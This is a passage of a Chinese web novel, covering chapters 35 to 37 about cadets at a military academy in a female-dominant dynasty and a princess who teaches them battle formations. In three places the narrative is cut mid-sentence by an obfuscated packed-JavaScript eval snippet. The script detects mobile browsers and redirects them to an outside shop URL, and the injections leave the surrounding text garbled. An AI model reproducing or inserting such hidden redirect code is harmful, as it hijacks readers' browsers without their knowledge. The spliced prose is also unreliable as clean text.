“当然,这是我个人的疑问,不方便的话,可以不回答。” 姜雅博垂眸,微微一笑,“教官您多虑了,没什么不方便的。” 随后,她抬眼看向靳教官,声音轻得像朵蒲公英,风一吹就散了:“我们姜家虽被称为儒将,但也总归是武官,我身为姜家独女,自然要来军校。” 靳教官蹙了蹙眉,“就因为这个?你母亲也同意你来军校?” 闻言,姜雅博脸上的笑意更浅了,她的目光朝南边望去,那里是姜家的方向。“母亲本来是不准的,但耐不住我的哀求,最终还是同意了。” 靳教官的嘴唇动了动,想说什么却又被按捺下去。 姜雅博注意到靳教官脸上一闪而过的挣扎,她笑了笑,“教官,我知道您想说什么。我的身体哪怕最好的时候,也无法跟上同学们的训练,但我志向从来不在于当一个士兵或者将领。” “我想当一个军师,战场上奋勇杀敌的将士们固然重要,但是出谋划策的智囊也必不可少。虽然我的身体被毒毁了,但我的智力还在,我依旧能思考,依然能看得懂兵法谋略……” “我的身体虽然虚弱,但我能保证不影响正常行军。” 听了姜雅博的话,靳教官为之动容。她拍了拍姜雅博的肩膀,声音低沉道:“孩子,辛苦你了。” 姜雅博淡然一笑,“和沈将军相比,我这不算什么。说来惭愧,我这甲班的名额还是靠家里帮衬得来的,不然以我的体能水平,恐怕连普通班都进不去。” 靳教官斩钉截铁地打断了她,“不要这么讲,你的策论我看过,写得非常好!而且你之前的教官对你的评价也非常好!不然我也不会同意让你进甲班。正如你所说,战场不光需要战士,也需要军师,作为一个智囊来看,你完全是合格的。所以,姜雅博同学,请你务必要以第一军师的目标要求自己,希望你以后能凭借自己的才智谋略,指引着大朝的将士们,所向披靡!” 姜雅博站直身体,神情郑重地向靳教官行了个军礼,开口掷地有声:“是,教官。” 经过一下午的训练,将甲班一众精英学员累得筋疲力尽。她们本来是一级部各班的佼佼者,日常的训练对她们而言不过是信手拈来,可这次看似平常的训练,却让这群精英学员们认识到了自己的不足,一个个都默默收起了锋芒。 结束训练时,坐在一旁石凳上看众人训练的姜雅博默默地起身向宿舍走去。胡燃原本正和商茁她们勾肩搭背抱怨训练任务太重,无意间一瞥看到姜雅博一个人离去的背影,连忙追了过去。 “喂!酱鸭脖你跑什么跑!” 听到有人叫自己,姜雅博停下脚步朝来人看去,只见一向矜贵喜净的胡燃此刻大汗淋漓,头发上满是汗珠,训练服也被汗水打湿了,紧紧地贴在皮肤上,勾勒出健美的肌肉线条。 姜雅博不着痕迹地向一旁移了两步,避开了扑面而来的汗味儿。 不料,这一幕刚好被胡燃看到,顿时气得够呛,她冷笑道:“你是不是军校生啊!躲什么躲!” 姜雅博一脸淡然:“我是军校生和我讨厌汗臭味儿不冲突。你找我有什么事吗?” 胡燃气呼呼地说:“有本事你这辈子都别出汗!哼!”想到自己叫住对方的目的,又硬邦邦地补充了句,“你的侍女怎么没来接你?” 姜雅博:“我自己可以回去,还有事吗?” 胡燃觉得自己今天肯定是中邪了,才会管这个臭鸭脖的闲事,结果人家还不领情!高傲如胡燃,自然受不了这种待遇,她冷哼一声,便扭头就走。 姜雅博见对方离开了,便毫无留恋地继续往宿舍走去。她现在如同滚了几遍针床一般,浑身上下没有一处不痛的,只想赶紧回去吃药躺下休息。 胡燃气呼呼地走了回来,商茁和赵国安对视一眼,两人都是一脸摸不着头脑。商茁试探地问道:“阿燃,你刚才干嘛去了?” 胡燃没好气地说:“拿好心去喂狗了!” 赵国安上前拍了拍胡燃的背,温声说:“走吧,回去洗个澡~听说食堂的晚饭更丰盛,待会儿咱们三个一起去尝尝。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204375|192902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>商茁也附和道:“嗯嗯,赶紧回去洗个澡,现在衣服都贴在身上,真难受……” 见两个好友并没有因自己的坏脾气而不悦,反而一直温声劝慰着自己,怒火渐渐消散的胡燃意识到自己冲好友发脾气了,有些愧疚地对商茁说:“抱歉阿茁,我、我……” 商茁揽住她的肩膀笑道:“嗨!咱们姐几个说什么抱歉,你并不是想凶我,你知道,我也知道,所以没什么好道歉。” 看着好友毫无阴霾的笑脸,胡燃也不由笑了起来。此刻什么绝味什么鸭脖全部被她抛到脑后,姐妹几个又亲亲热热地搂在一起,有说有笑地往宿舍走去。 痛痛快快地洗了把澡后,商茁三人清清爽爽地往食堂走去。 胡燃主动把自己和姜雅博的关系告诉了商茁和赵国安,“认真来讲,姜雅博和我算是亲戚,她的祖父和我的祖父是表兄弟,按辈分来说,我该喊她一声表姐?” 商茁摸了摸下巴,不确定道:“好像是吧?”说着,她看向自己的大朝版百科全书,“国安姐,你知道这该怎么叫不?” 见两人都看向自己,赵国安挠了挠头,有些不好意思地说:“我们家亲戚少,这些辈分什么的,我也理不清。” 胡燃摆摆手,“管她呢,就叫表姐吧,京城里,这些勋贵家里随便拉个人都是要沾亲带故的。” “总的来说,我们俩是有点亲戚关系,但又不是多亲近的那种。姜雅博从小就是那种天才小孩,又因为这一点微薄的亲戚关系,我母亲总喜欢拿我和她比,就导致我有一段时间挺烦她的……” “直到后来她出事儿了,再也不是别人口中那个天才神童了,大家提起她时没了夸奖赞叹,只剩感慨叹息。” 想起自己刚得知姜雅博遇害的消息,直到现在胡燃心里仍有些涩涩的感觉。虽然一直都比不过姜雅博,但胡燃从来没有希望对方出事的想法,她只想堂堂正正地在比赛或者考试中赢过对方,虽然从来没有成功过。 “从她出事后,我便再也没有见过她。”胡燃顿了顿,声音低下去。 再次得知姜雅博的消息时,是在胡燃十八岁。京城出了件举国欢庆的喜事儿,向来凤毛麟角的高等阈值,那年竟然检测出了两个。一个是定国侯府的云熠,另一个就是姜雅博。 当时前去贺喜的人们脸上,有开心有荣耀,但更多的是——惋惜。是啊,原本就是个天才神童,现在又检测出是个罕见的高等阈值,可偏偏成了个风吹就倒的病秧子。 胡燃不知道姜雅博是怎么想的,她当时听到来往宾客的口中叹息和怜悯时,只觉得愤怒!明明不过是一群资质普通得不能再普通的人,竟然还恬不知耻地可怜一个高等阈值!她们怎么好意思! 就在胡燃怒气冲冲地跑向外面时,却见门外的走廊处立着一个萧瑟单薄的身影——是姜雅博。胡燃不知道她来了多久,又听到了多少人们议论的内容,此时看到这个总是压她一头的人,她心中只剩心疼。 36. 第 36 章 甲班和军校其他班级最大的不同就是,这里的学生不光要训练,还要学习兵法谋略、排兵布阵、风向天气的推算,兵营的管理……还有关键课程——学习鞑族语言。和其他班多数训练,少数理论知识,甲班的理论课程甚至比训练课程还要多点。 这日又是理论课。 胡燃双手枕在脑后慢悠悠地跟在商茁和赵国安的身后,三人有一搭没一搭地聊着。 “昨日靳教官说要给我们请个新老师,还说什么绝对让我们大吃一惊……弄得神神秘秘的。” “不会是——沈将军吧?”赵国安一脸期待地猜测道。 商茁扭头朝身后的胡燃问道:“阿燃,你知道新老师是谁吗?” 提起新老师,胡燃眼中带了几分轻慢,她哼笑一声,意味不明地说:“你们一会儿就知道了,不过老靳没说错,新老师肯定让你们‘大吃一惊’。” 闻言,商茁她们更加期待了。 “咚——咚” 提醒上课的钟声响起,学员们都飞快地冲进教室坐好。等待教官过来上课。 伴随最后一声钟鸣,靳教官带着一个身穿青衣的身影走进教室。 “孩子们,都来认识下你们的新老师——三公主殿下。大家掌声欢迎~”说着,靳教官往旁边走了两步,露出了身后的谢滴星。 这些日子除了食堂里的大叔,在座的学员们就再没见过其他男性了,大家都笑称军校里连只蚊子都是母的。此时看到正值妙龄,肤白貌美的公主,台下的学员们顿时像炸开了锅一样,沸腾了起来。 如雷贯耳的掌声在教室中响起,其间伴随着几声口哨声。 靳教官双手下压,示意学员停下来。她笑着看向台下的学员,调侃道:“知道三殿下受欢迎,但是你们也太区别对待了吧?咱们都认识个把月了,这种掌声我一次都没有……” 闻言,台下的学员们哈哈大笑,然后不约而同再次鼓起掌来,只不过这次的掌声是给靳教官的,学员们的目光不再轻佻,而是充满了尊重和亲近。 靳教官的眼睛笑成两个弯弯的月牙,她示意学员们停下来,“好啦好啦~知道你们还是爱我的,都歇会儿吧。” 性格外向爱说笑的黄海莹接话道:“老靳,不是说这节课是新老师给我们上吗?你都占用人家谢老师多少时间了~” 靳教官点了点黄海莹,笑道:“你小子这是撵我走啊~我走也行,不过我看你口哨吹得挺好,下节课也给我吹吹呗~不用吹太多,吹个一节课就行~” 黄海莹缩了缩脖子,脸上带着谄媚的笑容:“教官您误会了,我怎么会撵您走呢~我只是迫不及待想要学习新课程了~” 靳教官笑了笑没有再吓她,转身对谢滴星交代道:“三殿下,那学员们就交给您了,我就在楼上,您这边有事随时可以叫我。” 谢滴星点点头,轻声回答:“我知道了。” 见靳教官的身影彻底消失后,屋子里的学员的坐姿都放松了下来,众人盯着台上的谢滴星,脸上都是轻蔑。 黄海莹率先开口发难,“谢老师,您来上课怎么还带着面纱啊~” 话音刚落,就有其他学员接腔,“是啊是啊,其他教官都是以真面目示人,怎么到谢老师就是藏头露脸的?” 商茁看着台上的谢滴星心里有些担心,不知道对方能不能扛住同学们的考验。在她看来,身处女尊男卑的朝代,谢滴星敢来军校,这个满地都是血气方刚的女人的地方,可谓是十分胆大。 面对众人的质疑,台上的谢滴星背挺得笔直,可藏在宽大衣袖中的手指却紧紧地攥着内衫袖角。他努力放平声音,冷声道:“没有哪个老师是用面容教人,我虽带面纱,但不影响我教课。” 听到他的回答,黄海莹玩味一笑,没有再说话。 还不等谢滴星松口气,又有学员追问道:“谢老师,男子能做的差事里,可没有教官这一项啊~您这是当众违法~” 谢滴星愣住了,一时间不知道该怎么应对。 商茁无声叹了口气,朗声道:“谢老师,请问您来军校教书,薪水几何?” 谢滴星闻言向商茁看去。那张日思夜想的面孔映入眼帘时,他的眸光闪了闪,心跳也跟着快了一拍。 他垂下眼眸,纤长浓密的眼睫遮住了眼底的情绪。 见他迟迟不作回答,底下有学员起哄了,“谢老师,你怎么不说话?不会是薪水比我们教官还高吧?” 眼见躲不过去,谢滴星只好无奈回道:“我来军校教书,没有薪水。” 有学员不相信,质疑道:“怎么可能?!” 谢滴星冷声道:“你若是不信,可以去问靳教官,甚至是校长。军校的资金用途都有专人记录,不会少记任何一笔。” 气氛逐渐有些凝滞。 这时,商茁继续说道:“既然谢老师没有薪水,那这就不是工作了~嗯,应该算是乐于助人,日行一善吧~” 商茁的话,让谢滴星和其他学员的情绪都缓和了下来。黄海莹看了商茁一眼,调侃道:“茁姐,果然是个怜香惜玉的正人君子啊~平日里的课上,可没见你说过这么多话~” 商茁微微一笑,淡定地说:“哪里哪里~我只不过是和阿莹一样,迫不及待地想要学习新课程罢了~” 此话一出,其他学员发出善意的笑声。教室里的气氛彻底缓和下来。 “好了,大家不要再占用谢老师的时间了,开始上课吧。” 谢滴星目露感激地朝商茁看了一眼,才转身将自己的教授内容写在石板上。 “靳教官请我来,就是希望我能和大家分享下,我对排兵布阵的一些心得感悟。” 台上的谢滴星神情专注地讲述着一些关于练兵、排兵的经验,可是台下认真听讲的学员却寥寥无几。 等谢滴星讲完后,留出时间给众人记笔记。商茁很快就写完了,等她朝身旁看去时,发现除了她和赵国安,其他人竟然无一人动笔?她忍不住朝身后看去,发现也不是只有她和赵国安听讲了,姜雅博也有做笔记,不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17210074|192902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的笔记会更加简洁些。 下课钟声响起后,谢滴星的目光落在商茁身上一瞬,待商茁抬头时,他又飞快撤回目光。 “各位学员们,可以下课了。”谢滴星朝众人微微颔首,便转身向门外走去。微风拂过,他那宽大的衣袖在空中划出一道优美的弧线。 商茁看着他离去的背影,微微失神。 “别看了,人都走了。” 胡燃看着自己好友这副春心萌动的样子,有些唏嘘。要她说,商茁从才能性情到身量长相无一不是上等,除了家世普通,基本没有短板。若是就这么娶了谢滴星为夫,商茁着实有些委屈。 她拍了拍商茁的肩膀,用心良苦地劝道:“茁啊,听我一句劝,那位不是当正夫的好人选。” 商茁听得一头雾水,“你在说什么?我怎么听不懂?” 胡燃一脸‘别想瞒我’的样子,“和我装什么装,你是没看见刚才自己的眼神,都快拉丝儿了!咦……我都不想说。” 商茁有些无语道:“我装什么了?我怎么不知道我刚才眼神拉丝了?” 胡燃双手抱胸,一副冷艳高贵的模样,“实话告诉你,那位名声不好,还被退过婚。稍微有点地位的人家,都不会娶他的。” 商茁闻言,想起那晚云雾对她说过的话,“军营里到处都是如狼似虎的女兵,他一个男儿家,在哪里待了那么久,怎么还会是完璧之身……” 不管谢滴星立了多大的功劳,这些好像总是缠绕在他身边,挥之不去。 商茁无奈地对好友解释道:“我只是纯粹地欣赏谢滴星,对他并无男女之情,更没有到要娶他的地步。 可话一出口,她的心里却闪过一丝说不清道不明的情绪。 夜晚,宿舍的床上。 商茁记不清这是自己第几次翻身了,又想起白天自己说的那句话。 “我只是纯粹地欣赏谢滴星,对他并无男女之情……”可自己真的只是欣赏他吗?那为什么话说出来后,心里反而更乱了。 商茁想不出答案。她以前玩儿恋爱游戏时,喜欢哪个男人,直接拿下就行;不喜欢的时候,不登游戏或者卸载就行了。反正他们也不会从屏幕里跑出来找她。 可谢滴星不是游戏。 他是个活生生的人,一个勇敢善良,有着美好品质的人。如果选择和他在一起,就要对他负责。不然以他现在的名声,被人抛弃简直是将他推上绝路。 就在商茁翻来覆去睡不着时,隔壁床传来了赵国安的声音。 “阿茁,你怎么了?” “唉!国安姐,我好像失眠了。”商茁苦恼地说道。 “我娘说,人心里一有事儿就该睡不着了。我小时候就是这样,心里一藏事儿,就该睡不着觉了。” “你是遇到什么烦心事了吗?”赵国安的声音一如既往,带着温暖宽和的力量。 “国安姐,我、我有件事没有想明白。嗯……我发现我可能喜欢上了一个人,但我不知道要不要和他在一起……” 37. 第 37 章 “喜欢就去追求啊~他也喜欢你的话,就会同意;拒绝的话,你就努力把他追到手!” 听到赵国安的话,商茁茅塞顿开,“对啊,我在这儿纠结个什么!还在一起……人家说不定都看不上我呢……” 赵国安突然坐了起来,看着商茁,语气满是认真:“阿茁,不要这么说自己,你很好、很优秀。我不知道你喜欢的小男郎是谁,但是我觉得,他如果知道你喜欢他,一定会很开心的!” “哪怕他拒绝了你,也不是因为你不够好……” 商茁侧过脸看着赵国安,有些愣怔。她的脑海里突然闪过几个画面,“人家温亮在XX公司,一个月九千块呢!你……”、“就你这个样,谁会看上你!”、“我们养你干什么?!” 比起肯定,她更习惯被否定、被打压。她现在已经能面不改色地听最亲近的人往她心上扎刀了,可为什么听到赵国安一本正经的肯定,她却觉得眼眶热热的…… 商茁眨了眨眼,想要把泪意憋回去,她吸了吸鼻子,故作轻松地说:“国安姐,大半夜的,你干嘛突然煽情啊……” 赵国安听着商茁带着浓浓鼻音的声音,眼里满是心疼,她忍住去给对方擦眼泪的冲动,又躺了回去。她知道商茁这会儿不希望任何人看到她的脆弱。 赵国安突然想起两人的初遇时的画面了,仿佛又看到了那个被自己撞到还下意识道歉的女郎。她明明从小到大都是一个大大咧咧、情感迟钝的人,可那时,赵国安却莫名读到那个陌生女郎笑脸下的恐惧和担忧,对方害怕自己会找她麻烦…… 可是为什么呢?明明是自己没有看路撞到的她。对方身材虽然不强壮,但也是身量高挑,她为什么会害怕?赵国安想不明白,可她的心却告诉她,自己想保护这个女孩子。 后来彼此间相熟了,赵国安更觉得自己当初没有做错,商茁就是她心中妹妹的样子。 妹妹胆子不大、容易紧张,没事,有她在,她会一直陪着妹妹;妹妹总是小心翼翼、不自信,没事,她会安慰鼓励妹妹,陪着她变得更好…… 赵国安一直背着身,等到商茁情绪平静些,她再次开口:“阿茁,不要害怕,你很好,值得所有人喜欢。” 刚平复好心情的商茁此刻又想哭了,她飞快地揉了揉眼,低低地“嗯”了声。 翌日,是靳教官的体能训练课。 训练闲暇时,靳教官学着甲班学员那样直接席地而坐,一点总教官部长的架子都没有。 看着教官这时一副心情颇好的样子,黄海莹将心里憋了好久的话给问出来了:“老靳,军校为什么要让三公主给我们上课?” 靳教官眯着眼睛睨了她一眼,似笑非笑地说:“小黄有进步哈~竟然能忍到现在,我原本以为按照你的性子,昨天在课堂上你就该问了。” 黄海莹一副没听出靳教官阴阳怪气的样子,毫不谦虚地将夸赞全部收下,“多谢教官夸奖,忍耐力这方面,我最近确实有长进~” 靳教官伸手给她一个脑瓜崩,“说你胖你还喘上了,昨天是你带头为难人家三公主了吧?” 黄海莹撇了撇,一副不齿的样子,“噫,他竟然还背后告状!果然古人诚不欺我,‘唯有男人与小人难养也!’” 眼见靳教官又要伸手给自己一个脑瓜崩,黄海莹连忙旁边挪,一边挪一边求饶,“教官我错了!您大人有大量,别和我一般见识~” 靳教官无奈扶额,“你啊,这张混不吝的嘴,早晚要惹出麻烦。” 黄海莹小声嘀咕道:“反正我是做不了背后告人黑状这种事……” 靳教官瞪了她一眼,“是我让人在教室外面看着有没有学员闹事,人家三公主下课就回去了,什么都没说。” 听到是自己错怪谢滴星了,黄海莹摸了摸鼻子没有说话。 平日里和黄海莹相熟的学员替她解了围,向靳教官问道:“教官,之前负责教阵法的沈教官教的好好的,怎么突然换成三公主了?” 靳教官看了眼甲班的学员,发现不少学员都看向这边,等着她回答。靳教官轻叹一声:“唉,三公主是我豁出老脸请来的。就是想让你们这群小崽子们能长长见识。” 不知那个学员小声说了句,“一个男人能有什么见识……” 闻言,靳教官被气笑了,“人家十六岁就能率兵以三千击退鞑族两万人马,你能吗?” 说话的学员顿时低下了头,其他被靳教官目光注视到的学员都一个个垂着头不敢看靳教官。 靳教官起身注视着这群年轻气盛的女孩们,语重心长地说:“孩子们,尺有所长寸有所短,这么简单的道理不用我来教你们了吧?我请三公主来教你们排兵布阵,必然是因为他在这方面有过人之处。” “你们就算不相信三公主的实力,也该相信我的眼光吧?我就问一句,昨天的课上都有谁认真听讲了?哪怕是动笔随手记了几笔也算……” 学员们一个个的头垂的更低了。 靳教官看向商茁和赵国安两人时,顿了顿,又看了眼远处的默不作声的姜雅博。 随后继续说道:“今日,我向大家承诺,日后三公主讲课时,若被你们发现有错误、不实的内容,哪怕就一次,我马上把三公主请回去!但在此之前,你们要好好听讲,不要辜负军校的良苦用心,能做到吗?” “能!”在座的学员们气势洪亮地回答道。 靳教官满意地点点头,“孺子可教也~今日回去以后,别忘把昨天的笔记补一下,我明天要检查。” 话音刚落,校场上顿时哀嚎遍野。“教官,你这不是为难我们嘛!”、“就是就是,石板上的字都被擦掉了,我们怎么补啊!” 靳教官挑了挑眉,笑眯眯地说:“这就看你们能不能想到办法了~” 胡燃突然想到,昨天好像看到商茁记笔记了!就在偷偷摸摸挪到商茁身边想要借笔记来抄时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215020|192902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,黄海莹那个大嗓门突然嚷嚷道:“茁姐,笔记借我抄抄呗!我昨天瞅见你做笔记了!” 一时间所有人的目光都聚集在商茁身上,她瞟了眼四周眼冒绿光的同学们,干笑道:“我的笔记大家可以随便抄阅哈……” “哦!有救了~” 闻言,学员们发出欢呼,商茁身边的学员们一个个的全都扑向了她,把商茁包裹的严严实实。 靳教官看闹成一团的学员们,笑着摇了摇头,“果然还是小孩子啊~” 待到谢滴星再次来到军校教课时,他发现学员们对他的态度好转许多,再也没有人故意问些为难他的问题,课堂上也没人随意说话或者睡觉了,更重要的是,学员们开始记笔记了! 看到学员们愿意学,谢滴星教的也愈发认真。 极个别想要挑错的学员,听了谢滴星教授的内容后,表情也渐渐认真起来。能进甲班的学员没有一个是草包的,老师教授的内容她们听一会儿就能知道这个老师是不是有真材料。 因此,听到谢滴星讲的内容不仅没有问题,反而还很有用后,她们也放下了轻视之心,认真思索着谢滴星讲授的每一种阵法排列。 这日下课钟声响起后,学员们竟破天荒地起身给谢滴星行了个军礼。“谢老师,辛苦了。” 谢滴星受宠若惊地摆摆手,“大家客气了。” 想了想,他又补充道:“我今日在这里辅助军校编著兵书,各位学员若是对阵法有其他问题,欢迎来二楼找我探讨。” 说完,谢滴星如昨日般衣袂翩翩地转身离开。 看着谢滴星离去的背影,商茁陷入了沉思。她不知道该不该对谢滴星表白自己的心意,一方面,她想让对方知道自己的心意,哪怕对方会拒绝她;但另一方面,对方如果接受了她的告白,那她们该如何发展?谢滴星的身份毕竟不是普通人,如果要和他在一起,就涉及太多东西。 想到这里,商茁有些头疼。 她闭眼,捏了捏眉心。还不等她清楚,一道声音便打断了她的思绪。 “茁姐,这是干嘛呢?穴位按摩?”黄海莹趴在商茁桌前好奇地看着她。 商茁刚睁开眼就发现一个大头杵在她面前,眼皮猛地一跳,她扯了扯唇,勉强笑笑:“是阿莹啊,有事吗?” 黄海莹歪了歪头,调侃道:“茁姐,您真是贵人多忘事啊~你忘了,我给你说过要借笔记啊。” 商茁摊了摊手,面露遗憾地说:“笔记阿燃一大早就接走了。” 黄海莹不死心地看向一旁的赵国安,“安姐这种勤勉的人,想必是会记笔记的吧?” 赵国安从画满阵法的图纸中抬起头,“我的笔记,方礼已经借走了。” 闻言,黄海莹哀嚎一声,往裴方礼的位置那里走去。 赵国安拿着图纸起身,对商茁说道:“阿茁,我这边有阵法看不明白,想要找谢老师请教下,你陪我一起吧。”